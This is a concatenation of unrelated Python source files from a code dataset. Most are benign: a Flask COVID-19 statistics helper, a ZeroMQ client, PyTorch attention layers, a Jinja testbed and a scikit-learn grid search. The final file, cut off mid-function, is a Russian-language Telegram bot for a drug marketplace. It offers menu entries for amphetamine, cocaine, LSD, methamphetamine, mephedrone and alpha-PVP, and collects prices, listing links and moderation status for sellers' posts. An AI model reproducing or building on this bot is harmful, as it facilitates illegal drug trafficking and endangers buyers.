A\r\n\r\nprint(x._protected) #accessing protected variable from class A\r\n\r\n\r\nprint(x.__priv) \t# accessing private variable from class A","sub_path":"oop.py","file_name":"oop.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"477085695","text":"import requests\nimport json\nimport sqlite3\nimport os\nimport pandas as pd\nfrom icecream import ic\nfrom requests.exceptions import HTTPError\nfrom flask import redirect, render_template, request, session\nfrom dotenv import load_dotenv\nfrom datetime import datetime, date\nfrom functools import wraps\nfrom urllib.request import urlopen\nimport pytz\nimport itertools\n\n# ! Delrecated method, do not use\n# ? Questions?\n# TODO: write to-do here\n\nload_dotenv()\n\n# get SQLITE3 ready\nconn = sqlite3.connect('cov19db.sqlite')\ndb = conn.cursor()\n\ndef apology(message, code=400):\n \"\"\"Render message as an apology to user.\"\"\"\n\n def escape(s):\n \"\"\"\n Escape special characters.\n\n https://github.com/jacebrowning/memegen#special-characters\n \"\"\"\n for old, new in [(\"-\", \"--\"), (\" \", \"-\"), (\"_\", \"__\"), (\"?\", \"~q\"),\n (\"%\", \"~p\"), (\"#\", \"~h\"), (\"/\", \"~s\"), (\"\\\"\", \"''\")]:\n s = s.replace(old, new)\n return s\n return render_template(\"apology.html\", top=code, bottom=escape(message)), code\n\ndef login_required(f):\n \"\"\"\n Decorate routes to require login.\n\n https://flask.palletsprojects.com/en/1.1.x/patterns/viewdecorators/\n \"\"\"\n @wraps(f)\n def decorated_function(*args, **kwargs):\n if session.get(\"user_id\") is None:\n return redirect(\"/login\")\n return f(*args, **kwargs)\n return decorated_function\n\ndef getCountries():\n \"\"\" Calls the COVID-19 statistics API. It delivers a list of all countries that are supported. \"\"\"\n \n url = \"https://covid-193.p.rapidapi.com/statistics\"\n\n # optional country parameter\n # querystring = {\"country\": country}\n\n headers = {\n 'x-rapidapi-key': os.environ.get('x-rapidapi-key'),\n 'x-rapidapi-host': os.environ.get('x-rapidapi-host')\n }\n\n try:\n response = requests.request(\"GET\", url, headers=headers)\n response.raise_for_status()\n\n # use builtin JSON decoder\n jsonResponse = response.json()\n\n #ic(jsonResponse['response'])\n\n for i in jsonResponse['response']:\n #ic(i)\n country = i['country']\n continent = i['continent']\n population = i['population']\n\n if population != None:\n # fill database\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n db.execute('''INSERT OR IGNORE INTO countries\n ( name, continent, population ) VALUES ( ?, ?, ? )''', \n ( country, continent, population, ))\n conn.commit() \n \n except HTTPError as http_err:\n print(f'HTTP error occurred: {http_err}')\n except Exception as err:\n print(f'Other error occurred: {err}')\n\ndef getStatistics(country):\n \"\"\" Calls the COVID-19 statistics API. It delivers todays stats for a specific country \"\"\"\n \n countries = checkCountries()\n if country not in countries:\n return 404\n\n # get SQLITE3 ready\n # get country_id\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n \n db.execute(\"\"\"SELECT id FROM countries WHERE name == ?\"\"\", (country, ))\n country_id = db.fetchall()\n conn.commit()\n country_id = country_id[0][0]\n\n url = \"https://covid-193.p.rapidapi.com/statistics\"\n\n # optional country parameter\n querystring = {\"country\": country}\n\n headers = {\n 'x-rapidapi-key': os.environ.get('x-rapidapi-key'),\n 'x-rapidapi-host': os.environ.get('x-rapidapi-host')\n }\n\n try:\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n\n # use builtin JSON decoder\n jsonResponse = response.json()\n\n for item in jsonResponse['response']:\n cases_active = item['cases']['active']\n cases_total = item['cases']['total']\n cases_critical = item['cases']['critical']\n cases_1mpop = item['cases']['1M_pop']\n cases_recovered = item['cases']['recovered']\n cases_new = item['cases']['new']\n deaths_total = item['deaths']['total']\n deaths_new = item['deaths']['total']\n deaths_1mpop = item['deaths']['1M_pop']\n tests_total = item['tests']['total']\n tests_1mpop = item['tests']['1M_pop']\n updated = item['day']\n\n # transform day and time into datetime\n time_str = item['time']\n daytime = time_str.split('T')[1].split('+')[0]\n \n except HTTPError as http_err:\n print(f'HTTP error occurred: {http_err}')\n except Exception as err:\n print(f'Other error occurred: {err}')\n\n # get SQLITE3 ready\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n\n # update cases db\n db.execute('''INSERT OR IGNORE INTO cases\n ( country_id, total, new, active, critical, recovered, '1M_POP', daytime, day ) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ? )''',\n ( country_id, cases_total, cases_new, cases_active, cases_critical, cases_recovered, cases_1mpop, daytime, updated, ))\n conn.commit()\n\n # update deaths db\n db.execute('''INSERT OR IGNORE INTO deaths\n ( country_id, total, new, '1M_POP', daytime, day ) VALUES ( ?, ?, ?, ?, ?, ? )''',\n ( country_id, deaths_total, deaths_new, deaths_1mpop, daytime, updated, ))\n conn.commit()\n\n # update tests db\n db.execute('''INSERT OR IGNORE INTO tests\n ( country_id, total, '1M_POP', daytime, day ) VALUES ( ?, ?, ?, ?, ? )''',\n ( country_id, tests_total, tests_1mpop, daytime, updated, ))\n conn.commit()\n\ndef getHistory(country):\n \n # check if country input is valid\n countries = checkCountries()\n if country not in countries:\n return 404\n\n # make API request\n url = \"https://covid-193.p.rapidapi.com/history\"\n querystring = {\"country\": country}\n \n headers = {\n 'x-rapidapi-key': os.environ.get('x-rapidapi-key'),\n 'x-rapidapi-host': os.environ.get('x-rapidapi-host')\n }\n\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n # response.raise_for_status()\n\n # use builtin JSON decoder\n jsonResponse = response.json()\n\n # get SQLITE3 ready\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n \n # get country_id\n db.execute(\"\"\"SELECT id FROM countries WHERE name == ?\"\"\", (country, ))\n country_id = db.fetchall()\n conn.commit()\n country_id = country_id[0][0]\n\n lists = ['cases', 'tests', 'deaths']\n \n # iterate through JSON from API\n for item in jsonResponse['response']:\n # ic(item)\n\n try:\n # select data for all three cases\n for i in lists:\n total = item[i]['total']\n POP_1M = item[i]['1M_pop']\n\n day = item['day']\n\n # transform day and time into datetime\n time_str = item['time']\n daytime = time_str.split('T')[1].split('+')[0]\n\n # get list specific fields\n # fill cases db\n if i == 'cases':\n \n new = item[i]['new']\n active = item[i]['active']\n critical = item[i]['critical']\n recovered = item[i]['recovered']\n\n # check if date exists in database\n db.execute('''SELECT day, daytime FROM cases WHERE day = ? AND country_id = ?''', (day, country_id, ) )\n date = db.fetchall()\n conn.commit()\n\n # if day already exists but time is greater: replace row\n if len(date) > 0:\n \n tempDay = date[0][0]\n tempDaytime = date[0][1]\n\n # update data if timestamp is greater\n if day == tempDay and daytime > tempDaytime:\n db.execute('''UPDATE cases SET \n total = ?,\n '1M_POP' = ?,\n daytime = ?,\n new = ?,\n active = ?,\n critical = ?,\n recovered = ?,\n day = ?, \n WHERE country_id = ?''', \n ( total, POP_1M, daytime, new, active, critical, recovered, day, country_id, ))\n conn.commit()\n\n # data for day doesn't exist, create it\n else:\n db.execute('''INSERT OR IGNORE INTO cases\n ( total, '1M_POP', daytime, country_id, new, active, critical, recovered, day ) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ? )''',\n ( total, POP_1M, daytime, country_id, new, active, critical, recovered, day, ))\n conn.commit()\n\n # fill deaths db\n elif i == 'deaths':\n new = item[i]['new']\n\n # check if date exists in database\n db.execute('''SELECT day, daytime FROM deaths WHERE day = ? AND country_id = ?''', (day, country_id, ) )\n date = db.fetchall()\n conn.commit()\n\n \n # if day already exists but time is greater: replace row\n if len(date) > 0:\n \n tempDay = date[0][0]\n tempDaytime = date[0][1]\n\n # update data if timestamp is greater\n if day == tempDay and daytime > tempDaytime:\n db.execute('''UPDATE deaths SET \n total = ?,\n '1M_POP' = ?,\n daytime = ?,\n new = ?,\n day = ?, \n WHERE country_id = ?''',\n ( total, POP_1M, daytime, new, day, country_id, ))\n conn.commit()\n\n # data for day doesn't exist, create it\n else:\n db.execute('''INSERT OR IGNORE INTO deaths\n ( total, '1M_POP', daytime, country_id, new, day ) VALUES ( ?, ?, ?, ?, ?, ? )''',\n ( total, POP_1M, daytime, country_id, new, day, ))\n conn.commit()\n\n # fill tests db\n elif i == 'tests':\n\n # check if date exists in database\n db.execute('''SELECT day, daytime FROM tests WHERE day = ? AND country_id = ?''', (day, country_id, ) )\n date = db.fetchall()\n conn.commit()\n\n # if day already exists but time is greater: replace row\n if len(date) > 0:\n \n tempDay = date[0][0]\n tempDaytime = date[0][1]\n\n # update data if timestamp is greater\n if day == tempDay and daytime > tempDaytime:\n db.execute('''UPDATE tests SET \n total = ?,\n '1M_POP' = ?,\n daytime = ?,\n day = ?, \n WHERE country_id = ?''',\n ( total, POP_1M, daytime, day, country_id, ))\n conn.commit()\n\n # data for day doesn't exist, create it\n else:\n db.execute('''INSERT OR IGNORE INTO tests\n ( total, '1M_POP', daytime, country_id, day ) VALUES ( ?, ?, ?, ?, ? )''',\n ( total, POP_1M, daytime, country_id, day, ))\n conn.commit()\n\n except:\n continue\n\ndef checkCountries():\n # get SQLITE3 ready\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n \n # get current list of countries from db\n db.execute('SELECT name FROM countries')\n countries = db.fetchall()\n conn.commit()\n countries = list(itertools.chain(*countries))\n \n # ic(countries)\n return countries\n\ndef checkHistory(country):\n ''' Checks database to see when the data was updated for the last time '''\n\n # connect to db and get last updated data\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n \n db.execute(\"\"\"\n SELECT cases.day AS day\n FROM cases\n JOIN countries ON cases.country_id = countries.id\n WHERE countries.name == ?\n ORDER BY day DESC\n LIMIT 1\"\"\", (country,) )\n \n last_updated = db.fetchone()[0]\n # ic(last_updated)\n\n conn.commit()\n \n return last_updated\n\ndef chartJS(COUNTRY):\n \"\"\" Builds beautiful charts using Chart.JS\n Documentation: https://www.chartjs.org/\n \"\"\"\n \n # get data from SQLITE3 db\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n db.execute(\"\"\"SELECT cases.day AS Time, cases.total AS Cases, deaths.total AS Deaths\n FROM cases\n JOIN countries ON cases.country_id = countries.id\n JOIN deaths ON (cases.country_id = deaths.country_id AND cases.day = deaths.day)\n WHERE countries.name == ?\n ORDER BY Time DESC\n LIMIT 600\"\"\", (COUNTRY, ))\n\n data = db.fetchall()\n conn.commit()\n\n # reduce labels to once per month\n labels = list()\n for i in range(0, len(data), 29):\n labels.append(data[i][0])\n labels.reverse()\n \n # get cases values\n valuesCases = list()\n for i in range(0, len(data), 29):\n valuesCases.append(data[i][1])\n valuesCases.reverse()\n\n # get deaths values\n valuesDeaths = list()\n for i in range(0, len(data), 29):\n valuesDeaths.append(data[i][2])\n valuesDeaths.reverse()\n\n return labels, valuesCases, valuesDeaths\n\ndef todaysNrs(country, today, last_updated):\n ''' Get todays numbers out of the database '''\n\n if last_updated != today:\n getStatistics(country)\n\n # get SQLITE3 ready\n conn = sqlite3.connect('cov19db.sqlite')\n db = conn.cursor()\n \n # get country_id\n db.execute(\"\"\"SELECT cases.total, deaths.total, tests.total, cases.active, cases.critical, cases.recovered , countries.population, cases.new, cases.day\n FROM cases\n JOIN countries ON cases.country_id = countries.id\n JOIN deaths ON (cases.country_id = deaths.country_id AND cases.day = deaths.day)\n JOIn tests ON (cases.country_id = tests.country_id AND cases.day = tests.day)\n WHERE countries.name == ? AND cases.day = ?\"\"\", (country, today))\n todays_numbers = db.fetchone()\n todays_numbers = list(todays_numbers)\n conn.commit()\n\n for i in range(0, 7):\n try:\n todays_numbers[i] = f'{todays_numbers[i]:,}'\n except:\n continue\n\n # ic(type(todays_numbers))\n # ic(todays_numbers)\n\n return todays_numbers\n\n# getCountries()\ngetStatistics(\"Switzerland\")\n# getHistory(\"USA\")\n# checkHistory(\"Germany\")\n# chartJS(\"Germany\")\n# checkCountries()\n# todaysNrs(\"Germany\", \"2021-07-24\")","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":15369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"408916129","text":"import zmq\nimport time\n\ncontext = zmq.Context()\n\nsocket = context.socket(zmq.PAIR)\n\nsocket.setsockopt(zmq.LINGER,0)\n\nsocket.connect(\"tcp://193.61.36.160:5555\")\n\ncount = 0\n\nwhile count<10:\n\tmsg = socket.recv()\n\tprint(msg.decode())\n\tsocket.send_string(\"Hello from Client\")\n\tsocket.send_string(\"This is a client message to server\")\n\tprint(\"Counter: \",count)\n\tcount+=1\n\ttime.sleep(1)\n\ncontext.destroy()\nsocket.close()\n\n","sub_path":"Distributed_Messaging_with_ZeroMQ/One_to_One/pair-client.py","file_name":"pair-client.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"184701697","text":"from __future__ import print_function\n\nimport itertools\n\nfrom simulator import CommandLineCommon\n\nimport algorithm\nprotectionless = algorithm.import_algorithm(\"protectionless\")\n\nclass CLI(CommandLineCommon.CLI):\n def __init__(self):\n super(CLI, self).__init__(protectionless.name)\n\n def _argument_product(self, sim, extras=None):\n parameters = self.algorithm_module.Parameters\n\n argument_product = itertools.product(\n parameters.sizes, parameters.configurations,\n parameters.attacker_models, parameters.noise_models,\n parameters.communication_models, parameters.fault_models,\n [parameters.distance], parameters.node_id_orders, [parameters.latest_node_start_time],\n parameters.periods\n )\n\n argument_product = [\n (size, config, attacker, noise, communication_model, fm, distance, nido, lnst, src_period, broadcast_period)\n for (size, config, attacker, noise, communication_model, fm, distance, nido, lnst, (src_period, broadcast_period))\n in argument_product\n ]\n\n argument_product = self.add_extra_arguments(argument_product, extras)\n\n return argument_product\n\n def time_after_first_normal_to_safety_period(self, tafn):\n return tafn * 2.0\n","sub_path":"algorithm/probrate/CommandLine.py","file_name":"CommandLine.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"133714659","text":"from enum import Enum\nfrom typing import Optional\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import Tensor\n\nfrom math import *\n\nfrom attention.utils.cache import SingleCachedTensor\nfrom attention.utils.func_utils import apply\nfrom attention.utils.torch_utils import norm\nfrom badger_utils.view.observer_utils import MultiObserver, Observer\n\n\ndef normalize_tensor(t: Tensor) -> Tensor:\n return t / t.abs().sum(dim=-1).unsqueeze(-1)\n\n\nclass AttentionOperation(Enum):\n DOT_PRODUCT = 1,\n NORMALIZED_DOT_PRODUCT = 2,\n EUCLIDEAN_DISTANCE = 3\n\n @staticmethod\n def from_string(value: str) -> 'AttentionOperation':\n if value == 'dot_product':\n return AttentionOperation.DOT_PRODUCT\n elif value == 'normalized_dot_product':\n return AttentionOperation.NORMALIZED_DOT_PRODUCT\n elif value == 'euclidean_distance':\n return AttentionOperation.EUCLIDEAN_DISTANCE\n else:\n raise ValueError(f'Unrecognized value \"{value}\"')\n\nclass Attention:\n key_size: int\n value_size: int\n\n def __init__(self, key_size: int, value_size: int, operation: AttentionOperation = AttentionOperation.DOT_PRODUCT):\n super().__init__()\n\n self.value_size = value_size\n self.key_size = key_size\n self.operation = operation\n\n def compute(self, key: Tensor, value: Tensor, query: Tensor, drop: bool = False, beta: float = 1,\n normalize: bool = False, topk: Optional[int] = None, observer: Optional[Observer] = None):\n \"\"\"\n Compute attention, note values have transposed dims 1 and 2 compared with AttentionLayer\n Args:\n key: [ batch_size, n_inputs, key_size]\n value: [ batch_size, n_inputs, value_size]\n query: [ batch_size, n_outputs, key_size]\n drop:\n beta: weight multiplier\n normalize: normalize values over batch x n_outputs\n\n Returns:\n values float[batch_size, n_outputs, value_size]\n weights float[bach_size, n_inputs, n_outputs]\n idx dummy\n \"\"\"\n batch_size = key.size(0)\n n_outputs = query.size(1)\n\n # weights: [batch_size, n_inputs, n_outputs]\n if self.operation == AttentionOperation.DOT_PRODUCT:\n key = key.unsqueeze(2)\n query = query.unsqueeze(1)\n weights = self._dot_product(key, query) / sqrt(self.key_size)\n elif self.operation == AttentionOperation.NORMALIZED_DOT_PRODUCT:\n key = normalize_tensor(key).unsqueeze(2)\n query = normalize_tensor(query).unsqueeze(1)\n weights = self._dot_product(key, query) / sqrt(self.key_size)\n elif self.operation == AttentionOperation.EUCLIDEAN_DISTANCE:\n key = key.unsqueeze(2)\n query = query.unsqueeze(1)\n clamp_range = 1e4\n eps = 1e-4\n distance = self._euclidean_distance_squared(key, query) + eps\n # (distance.log_()).exp_()\n # distance = (eps + distance).pow(0.9)\n weights = (distance.pow(0.5) + 1).reciprocal().clamp(-clamp_range, clamp_range)\n # weights = (self._euclidean_distance(key, query).pow(2) +1).reciprocal().clamp(-clamp_range, clamp_range)\n\n apply(observer, lambda o: o.add_tensor('weights_before_softmax', weights[0]))\n\n else:\n raise ValueError(f'Unrecognized operation: {self.operation}')\n\n if drop:\n mask = torch.le(torch.rand(batch_size, 1, n_outputs).cuda(), 0.25).float()\n weights = weights - 40 * mask\n\n if topk is not None:\n topk_weights, idx = torch.topk(weights, topk, dim=1)\n weights.zero_()\n topk_weights = F.softmax(topk_weights * beta, dim=1)\n weights.scatter_(1, idx, topk_weights)\n else:\n weights = F.softmax(weights * beta, dim=1)\n # weights = normalize_tensor(weights)\n\n values = torch.sum(weights.unsqueeze(3) * value.unsqueeze(2), 1).view(batch_size * n_outputs, self.value_size)\n if normalize:\n values = norm(values)\n values = values.view(batch_size, n_outputs, self.value_size) # .transpose(1, 2).contiguous()\n\n return values, weights, 0\n\n def _dot_product(self, a: Tensor, b: Tensor) -> Tensor:\n return torch.sum(a * b, 3)\n\n def _euclidean_distance_squared(self, k: Tensor, q: Tensor) -> Tensor:\n # return (self._dot_product(k, k) - 2 * self._dot_product(k, q) + self._dot_product(q, q)).sqrt()\n return self._dot_product(k, k) - 2 * self._dot_product(k, q) + self._dot_product(q, q)\n\n def _euclidean_distance(self, k: Tensor, q: Tensor) -> Tensor:\n return (self._dot_product(k, k) - 2 * self._dot_product(k, q) + self._dot_product(q, q)).sqrt()\n # return self._dot_product(k, k) - 2 * self._dot_product(k, q) + self._dot_product(q, q)\n\n\n# Inputs are Memory, Attender -> Batch size, Features, Number of sources/Number of receivers\nclass AttentionLayer(nn.Module):\n def __init__(self, key_size, value_size):\n super().__init__()\n\n self.value_size = value_size\n self.key_size = key_size\n\n def forward(self, key: Tensor, query: Tensor, value: Tensor, drop: bool = False, beta: float = 1):\n \"\"\"\n\n Args:\n key: [ batch_size, n_inputs, 1, key_size]\n query: [ batch_size, 1, n_outputs, key_size]\n value: [ batch_size, n_inputs, value_size]\n drop:\n beta: weight multiplier\n\n Returns:\n values float[batch_size, value_size, n_outputs]\n weights float[bach_size, n_inputs, n_outputs]\n idx dummy\n \"\"\"\n batch_size = key.size(0)\n n_outputs = query.size(2)\n # weights: [batch_size, n_inputs, n_outputs]\n weights = torch.sum(key * query, 3) / sqrt(self.key_size)\n if drop:\n mask = torch.le(torch.rand(batch_size, 1, n_outputs).cuda(), 0.25).float()\n weights = weights - 40 * mask\n weights = F.softmax(weights * beta, dim=1)\n\n values = torch.sum(weights.unsqueeze(3) * value.unsqueeze(2), 1).view(batch_size * n_outputs, self.value_size)\n values = norm(values)\n values = values.view(batch_size, n_outputs, self.value_size).transpose(1, 2).contiguous()\n\n return values, weights, 0\n\n\n# This layer only uses the top k weights for attention\nclass NarrowAttentionLayer(nn.Module):\n\n def __init__(self, N1, N2, NK, NV, topK=3):\n super(NarrowAttentionLayer, self).__init__()\n self.device = 'cpu'\n self.N1 = N1\n self.N2 = N2\n self.NV = NV\n self.NK = NK\n self.topK = topK\n # precompute tensors\n self._cached_index = SingleCachedTensor(lambda size: torch.arange(size).to(self.device))\n self._cached_drop_rand = SingleCachedTensor(lambda sizes: torch.FloatTensor(size=sizes).to(self.device))\n\n def forward(self, key, query, value, drop=False):\n \"\"\"\n\n :param key: [ batch_size, n_inputs, 1, key_size]\n :param query: [ batch_size, 1, n_outputs, key_size]\n :param value: [ batch_size, n_inputs, value_size]\n :param drop:\n :return:\n values float[batch_size, value_size, n_outputs]\n weights float[bach_size, top_k, n_outputs]\n idx int[bach_size, top_k, n_outputs]\n \"\"\"\n BS = key.size(0)\n NA = key.size(2) # number of outputs\n NB = query.size(2)\n NV = self.NV\n\n # print(f'k: {key.shape}, q: {query.shape}, v: {value.shape}')\n weights = torch.sum(key * query, 3) / sqrt(self.NK)\n\n if drop:\n # mask = torch.le(torch.rand(BS,NA,NB).cuda(),0.25).float()\n rand = self._cached_drop_rand.tensor([BS, NA, NB])\n rand.uniform_()\n mask = torch.le(rand, 0.25).float()\n weights = weights - 40 * mask\n\n best_w, best_idx = torch.topk(weights, self.topK, 1)\n\n std = torch.std(best_w, 1, keepdims=True) + 1e-8\n std = 1 / (1 / std + 1)\n best_w = (best_w - torch.mean(best_w, 1, keepdims=True)) / std\n best_w = F.softmax(best_w, dim=1)\n\n # best_w and best_idx are BS x topK x nExperts\n # value is BS x nExperts x Features\n\n values = []\n\n # idx = torch.arange(BS).cuda()\n idx = self._cached_index.tensor(BS)\n for i in range(NB):\n row = 0\n for j in range(self.topK):\n k = best_idx[:, j, i]\n row = row + best_w[:, j, i].unsqueeze(1) * value[idx, k[idx], :]\n values.append(row.unsqueeze(1))\n\n values = torch.cat(values, 1).view(BS * NB, NV)\n values = norm(values)\n values = values.view(BS, NB, NV).transpose(1, 2).contiguous()\n\n return values, best_w, best_idx\n\n def to(self, *args, **kwargs):\n self = super().to(*args, **kwargs)\n self.device = args[0] # hack to extract device\n return self\n","sub_path":"attention/models/attention/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":8971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"222896898","text":"from datetime import datetime, timedelta\n\nfrom jinja2 import Environment, PackageLoader, select_autoescape, FileSystemLoader\n\nfrom view.config import Config as ViewConfig\nfrom view.data.userdata import UserData\nfrom view.enum.event_state import EventStates\nfrom view.loc import Loc\nfrom view.view.profile import ProfileView\n\nfrom view.data.event import EventData\nfrom view.data.event_history_record import EventHistoryRecordData\nfrom view.enum.event_label import EventLabels\n\nnow = datetime.utcnow()\n\nuser = UserData(1, \"Red Fox\", \"\", \"https://pbs.twimg.com/profile_images/606791373593837568/eL5DHK0L.png\")\nuser.points = 1000\n\ne = EventData(0, \"Game 1: Starters\", datetime(2018, 1, 6), EventLabels.GAME, \"http://google.com\")\ne.state = EventStates.REWARDED\ne.participant_list.append(user)\n\n# you were only waiter, so it`s gonna\ne2 = EventData(1, \"Lesson 2: Red card\", now + timedelta(days=2), EventLabels.LESSON, \"http://ya.com\")\ne2.state = EventStates.FINISHED\ne2.wait_list.append(user)\n\ne3 = EventData(2, \"Tournament: Starters\", now + timedelta(days=7, hours=4), EventLabels.TOURNAMENT, \"http://vk.com\")\ne3.state = EventStates.REWARDED\ne3.participant_list.append(user)\n\ne4 = EventData(3, \"Tournament 2: Starters\", now + timedelta(days=9, hours=4), EventLabels.TOURNAMENT, \"http://vk.com\")\ne4.state = EventStates.STARTED\ne4.wait_list.append(user)\n\ne5 = EventData(3, \"Tournament 3: Starters\", now + timedelta(days=10, hours=4), EventLabels.TOURNAMENT, \"http://vk.com\")\ne5.state = EventStates.STARTED\ne5.participant_list.append(user)\n\nevents_history = [\n EventHistoryRecordData(e, 1, 1000, True),\n EventHistoryRecordData(e2),\n EventHistoryRecordData(e3, 2, 500),\n EventHistoryRecordData(e4),\n EventHistoryRecordData(e5)\n]\n\nview = ProfileView(user, events_history, False, True, \"\")\nview.order_history()\n\nenv = Environment(\n loader=FileSystemLoader('../../templates'),\n autoescape=select_autoescape(['html', 'xml'])\n)\n\ntemplate = env.get_template('testbed/try_profile.html')\nhtml = template.render(view=view, config=ViewConfig(), loc=Loc(\"en\"))\n\nwith open(\"test_bed.html\", \"w\") as file:\n file.write(html)\n","sub_path":"view/testbed/try_profile.py","file_name":"try_profile.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"309677173","text":"import numpy as np\nfrom sklearn.datasets import load_iris\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\nfrom sklearn.model_selection import train_test_split, KFold, cross_val_score, GridSearchCV\nfrom sklearn.metrics import accuracy_score\n\nfrom sklearn.svm import LinearSVC, SVC\n# from sklearn.neighbors import KNeighborsClassifier\n# from sklearn.linear_model import LogisticRegression # 분류\n# from sklearn.tree import DecisionTreeClassifier\n# from sklearn.ensemble import RandomForestClassifier\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n# 1. 데이터\ndataset = load_iris()\nx = dataset.data\ny = dataset.target\n\nprint(x.shape, y.shape) # (150, 4) ,(150,)\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, train_size=0.8, random_state=77, shuffle=True)\n\nkfold = KFold(n_splits=5, shuffle=True)\n\nparameters = [{\"C\":[1, 10, 100, 1000], \"kernel\":['linear']},\n {\"C\":[1, 10, 100], 'kernel':['rbf'], 'gamma':[0.001, 0.0001]},\n {\"C\":[1, 10, 100, 1000], 'kernel':['sigmoid'], 'gamma':[0.001, 0.0001]}]\n\n# 2. 모델\nmodel = GridSearchCV(SVC(), parameters, cv=kfold)\n\n# 3. 훈련\nmodel.fit(x_train, y_train)\n\n# 4. 평가 예측\nprint('최적의 매개변수 :', model.best_estimator_) # 총 90번 훈련 (4 + 3 * 2 + 4 * 2) * 5\n\ny_pred = model.predict(x_test)\nprint('최종 정답률 :', accuracy_score(y_test, y_pred))\n\nscore = model.score(x_test, y_test)\nprint(score)","sub_path":"ml/m12_gridSearch1.py","file_name":"m12_gridSearch1.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"41809726","text":"import config\n\n\ndef set_type(message, bot):\n input_array = [{\"text\": chr(10024) + ' Амфетамин ' + chr(10024), \"query\": 't=1,c=price'},\n {\"text\": chr(129305) + ' Шишки ' + chr(129305), \"query\": 't=2,c=price'},\n {\"text\": chr(128138) + ' Экстази ' + chr(128138), \"query\": 't=3,c=price'},\n {\"text\": chr(128069) + ' Марки ЛСД ' + chr(128069), \"query\": 't=4,c=price'},\n {\"text\": chr(128050) + ' Марки НБУМ ' + chr(128050), \"query\": 't=5,c=price'},\n {\"text\": chr(127812) + ' Грибы ' + chr(127812), \"query\": 't=6,c=price'},\n {\"text\": chr(128142) + ' Кокаин ' + chr(128142), \"query\": 't=7,c=price'},\n {\"text\": chr(128640) + ' Метамфетамин ' + chr(128640), \"query\": 't=8,c=price'},\n {\"text\": chr(128160) + ' Соль мефедрон ' + chr(128160), \"query\": 't=9,c=price'},\n {\"text\": chr(128137) + ' Соль альф пвп ' + chr(128137), \"query\": 't=10,c=price'},\n {\"text\": \"Другое\", \"query\": 't=11,c=price'}\n ]\n keyboard = bot.get_keyboard(input_array=input_array, grid=2)\n text = \"Для создания торгового предложение, укажите тип вещества.\"\n bot.send_message(text=text, message=message, keyboard=keyboard, con=\"edit\")\n\n\ndef get_type(call, bot):\n dct = bot.get_data(call)\n _id = bot.get_id(call)\n bot.buffer[_id][\"type\"] = dct.get(\"t\")\n\n\ndef set_price(call, bot):\n text = \"Укажите цену за единицу товара.\"\n bot.send_message(text=text, message=call, con=\"edit\")\n\n\ndef get_price(message, bot):\n _id = bot.get_id(message)\n try:\n price = float(message.text)\n bot.buffer[_id][\"price\"] = price\n except Exception as e:\n print(e)\n\n\ndef set_link(message, bot):\n text = \"Укажите ссылку на обьявление в telegra.ph\"\n bot.send_message(text=text, message=message)\n\n\ndef get_link(message, bot):\n _id = bot.get_id(message)\n link = message.text\n if link[0:17] == \"http://telegra.ph\":\n bot.buffer[_id][\"link\"] = link\n\n\ndef set_post_name(message, bot):\n text = \"Укажите короткое название обьявление, не длинее 15 символов.\"\n bot.send_message(text=text, message=message)\n\n\ndef get_post_name(message, bot):\n _id = bot.get_id(message)\n name = message.text[0:15]\n bot.buffer[_id][\"name\"] = name\n\n\ndef accept(message, bot):\n _id = bot.get_id(message)\n text = \"Название: \" + bot.buffer[_id][\"name\"] + \\\n \"\\nТип : \" + config.types[bot.buffer[_id][\"type\"]] + \\\n \"\\nЦена : \" + str(bot.buffer[_id][\"price\"]) + \\\n \"\\nСсылка : \" + bot.buffer[_id][\"link\"] + \\\n \"\\nЕсли в веденной информацие нет ошибок, тогда нажмите 'Отправить на модерацию'\" + \\\n \", если же есть ошибки нажмите кнопку 'Редактировать'\"\n input_array = [{\"text\": 'Отправить на модерацию', \"query\": \"c=mod\"},\n {\"text\": 'Редактировать', \"query\": 'c=type'}]\n\n keyboard = bot.get_keyboard(input_array=input_array, grid=2)\n bot.send_message(text=text, message=message, keyboard=keyboard, parse_mode=\"HTML\")\n\n\ndef send_on_moderation(call, bot):\n _id = bot.get_id(call)\n bot.cur.execute(\"SELECT Post_id FROM Posts\")\n rows = bot.cur.fetchall()\n post_id = int(max(rows)[0]) + 1\n query = \"INSERT INTO Posts (User_id, Link, Price, Type, Post_id, Name, Status) VALUES (%s, %s, %s, %s, %s, %s, %s)\"\n val = (_id, bot.buffer[_id][\"link\"], bot.buffer[_id][\"price\"], int(bot.buffer[_id][\"type\"]), post_id,\n bot.buffer[_id][\"name\"], 'mod')\n bot.queue_post.put({\"query\": query, \"val\": val, \"uid\": _id})\n bot.buffer[_id] = {}\n\n\ndef set_status(call, bot):\n _id = bot.get_id(call)\n dct = bot.get_data(call)\n if _id in config.admins_id:\n query = \"UPDATE Posts SET Status=%s WHERE Post_id=%s\"\n 